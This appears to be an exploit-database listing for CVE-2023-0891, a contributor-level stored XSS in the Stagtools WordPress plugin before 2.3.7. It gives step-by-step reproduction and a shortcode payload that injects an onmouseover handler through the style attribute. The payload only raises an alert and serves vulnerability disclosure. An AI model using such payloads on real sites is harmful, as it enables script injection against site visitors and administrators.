Exploit for Stagtools < 2.3.7 - Contributor+ Stored XSS CVE-2023-0891

Name: Exploit for Stagtools < 2.3.7 - Contributor+ Stored XSS CVE-2023-0891
Rating: 5 (96 reviews)

2023-04-05 | CVSS 4.9

## https://sploitus.com/exploit?id=WPEX-ID:72397FEE-9768-462B-933C-400181A5487C
1. Create a Post and add a Shortcode.
2. Paste the stagcode in the input:

```
[stag_icon icon="link" url="https://example.com/" size='100px' new_window="no" style='test-style4 fa-link" onmouseover="alert(document.domain)" x="']
```

3. Save the post. Preview it. Hover your mouse over the icon.